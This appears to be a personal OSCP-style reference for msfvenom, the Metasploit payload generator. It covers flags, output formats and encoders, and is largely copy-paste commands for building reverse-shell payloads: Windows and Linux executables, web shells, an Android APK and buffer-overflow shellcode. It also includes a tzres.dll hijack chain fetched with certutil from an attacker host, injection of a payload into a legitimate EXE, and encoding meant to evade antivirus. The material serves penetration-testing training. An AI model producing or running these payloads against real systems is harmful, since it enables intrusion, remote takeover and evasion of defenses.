Msfvenom

msfvenom — Payload Generator Reference

What is msfvenom?

msfvenom combines the old msfpayload and msfencode tools into one. It generates payloads in dozens of formats (EXE, ELF, PHP, Python, PowerShell, raw shellcode, etc.) and can encode them to help evade basic AV detection.

---

Syntax

msfvenom -p <payload> [options] -f <format> -o <output_file>

---

📌 1) All Flags

Flag	Long Form	Description
-p <payload>	--payload	Payload to use (e.g. windows/x64/meterpreter/reverse_tcp)
-l [type]	--list	List: payloads, encoders, nops, platforms, archs, formats, all
-f <format>	--format	Output format (exe, elf, php, raw, python, ps1, etc.)
-e <encoder>	--encoder	Encoder to use (e.g. x86/shikata_ga_nai)
-i <N>	--iterations	Number of encoder iterations (default: 1)
-a <arch>	--arch	Target architecture (x86, x64, cmd, etc.)
--platform <os>		Target platform (windows, linux, osx, android, etc.)
-o <file>	--out	Output file path
-b <chars>	--bad-chars	Bad characters to avoid (e.g. \x00\x0a\x0d)
-n <NOP count>	--nopsled	Prepend NOP sled of N bytes
-s <size>	--space	Max payload size in bytes
--smallest		Generate the smallest possible payload
-c <shellcode>	--add-code	Add custom shellcode (raw) to payload
LHOST=<ip>		Listener IP (required for reverse shells)
LPORT=<port>		Listener port
RHOST=<ip>		Target IP (required for bind shells)
EXITFUNC=<type>		Exit technique: process, thread, seh (BoF use: thread)
-v <varname>	--var-name	Custom variable name in code output
--encrypt <algo>		Encrypt payload (aes256, xor, etc.)
--encrypt-key <k>		Key for encryption
--encrypt-iv <iv>		IV for encryption
-x <template>	--template	Use existing EXE as template (inject into it)
-k	--keep	Keep template behavior (run alongside injected payload)
-q	--quiet	Suppress informational output

---

📌 2) Output Formats

Executable formats

Format	Extension	Target
exe	.exe	Windows 32/64-bit
exe-small	.exe	Compact Windows executable
elf	(no ext)	Linux ELF binary
elf-so	.so	Linux shared object
macho		macOS Mach-O binary
dll	.dll	Windows DLL
msi	.msi	Windows Installer
asp	.asp	Classic ASP web shell
aspx	.aspx	ASP.NET web shell
jsp	.jsp	Java Server Pages shell
war	.war	Java Web Archive
php	.php	PHP web shell
python	.py	Python script
bash	.sh	Bash script
ps1	.ps1	PowerShell script
hta-psh	.hta	HTA file (runs PowerShell)
vba	.vba	VBA macro
vbs	.vbs	VBScript
jar	.jar	Java JAR
apk	.apk	Android APK

Raw / transform formats

Format	Description
raw	Raw shellcode bytes
c	C array (unsigned char buf[] = ...)
csharp	C# byte array
python	Python buf = b"..."
ruby	Ruby string
perl	Perl string
java	Java byte array
powershell	PowerShell [Byte[]] $buf = ...
hex	Hex string
base64	Base64 encoded

---

📌 3) Common Examples

My Reg

msfvenom -p windows/x64/shell_reverse_tcp LHost=192.168.45.164 LPORT=4444 -f exe -o "revshell.exe"

Windows — Staged Meterpreter (most common)

msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f exe -o shell.exe
 

Windows — Stageless Meterpreter (no MSF listener dependency)

msfvenom -p windows/x64/meterpreter_reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f exe -o shell_stageless.exe

Windows — 32-bit reverse shell

msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f exe -o shell32.exe

Windows — PowerShell one-liner payload

msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.45.201 LPORT=4444 \
  -f ps1 -o shell.ps1

Windows — DLL reverse shell (tzres.dll / privesc)

Malicious DLL for DLL Injection — replace tzres.dll, trigger with systeminfo after SeManageVolumeExploit:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.xxx LPORT=443 -f dll -o tzres.dll

nc -lvnp 443
python3 -m http.server 8080

certutil -urlcache -split -f http://KALI:8080/tzres.dll C:\Windows\Temp\tzres.dll
copy /Y C:\Windows\Temp\tzres.dll C:\Windows\System32\wbem\tzres.dll
systeminfo

→ DLL Injection · SeManageVolumePrivilege

Windows — Inject into legitimate EXE

msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -x /usr/share/windows-binaries/plink.exe -k \
  -f exe -o payload.exe

Linux — ELF reverse shell

msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f elf -o shell.elf
chmod +x shell.elf

Linux — Stageless ELF

msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f elf -o shell_stageless.elf

macOS — Reverse shell

msfvenom -p osx/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f macho -o shell.macho

PHP Web Shell

msfvenom -p php/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f raw -o shell.php

ASP Web Shell (Classic IIS)

msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f asp -o shell.asp

ASPX Web Shell (.NET IIS)

msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f aspx -o shell.aspx

JSP Web Shell (Tomcat / Java)

msfvenom -p java/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f war -o shell.war

Android APK

msfvenom -p android/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -o shell.apk

Raw Shellcode (for Buffer Overflows)

msfvenom -p windows/shell_reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -b "\x00\x0a\x0d" \
  EXITFUNC=thread \
  -f c

For BoF: Use -b to exclude bad chars found during fuzzing. Use EXITFUNC=thread to keep the service alive after exploitation. See Buffer Overflow.

---

📌 4) Encoding

Common encoders

Encoder	Arch	Notes
x86/shikata_ga_nai	x86	Most popular polymorphic XOR encoder
x64/xor	x64	Basic XOR for 64-bit
x64/xor_dynamic	x64	Dynamic XOR key
x86/countdown	x86	Sub-encoding countdown technique
x86/jmp_call_additive	x86	Additive feedback encoder
cmd/powershell_base64	cmd	Base64 PowerShell encoding

# Single encode pass
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -e x86/shikata_ga_nai \
  -f exe -o encoded.exe
 
# Multiple iterations (harder to detect)
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -e x86/shikata_ga_nai -i 10 \
  -f exe -o encoded10.exe

Note: Modern AV detects shikata_ga_nai well. Encoding is not a substitute for proper evasion — it is a starting point.

---

📌 5) Listing Available Options

msfvenom -l payloads                           # All payloads
msfvenom -l payloads | grep windows            # Windows payloads
msfvenom -l payloads | grep "linux/x64"        # Linux 64-bit payloads
msfvenom -l encoders                           # All encoders
msfvenom -l formats                            # All output formats
msfvenom -l platforms                          # All platforms
msfvenom -l archs                              # All architectures
 
# Show options for a specific payload
msfvenom -p windows/x64/meterpreter/reverse_tcp --list-options

---

📌 Quick OSCP Cheat Sheet (Copy/Paste)

# Windows x64 meterpreter staged
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o win64.exe
 
# Windows x86 meterpreter staged
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o win32.exe
 
# Linux x64 meterpreter staged
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f elf -o linux64.elf
 
# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f raw -o shell.php
 
# ASP reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f asp -o shell.asp
 
# Raw shellcode for BoF (exclude bad chars)
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -b "\x00" EXITFUNC=thread -f c
 
# DLL privesc — tzres.dll (systeminfo trigger)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.xxx LPORT=443 -f dll -o tzres.dll
 
# Catch the shell
# use exploit/multi/handler → set payload (same as above) → set LHOST/LPORT → run

---

Related Tools

• Msfconsole
• Meterpreter
• Payloads
• Netcat

Related Notes

• MetaSploit
• Msfconsole
• Payloads
• Meterpreter
• Buffer Overflow
• Shells
• DLL Injection
• DLL Hijacking
• Training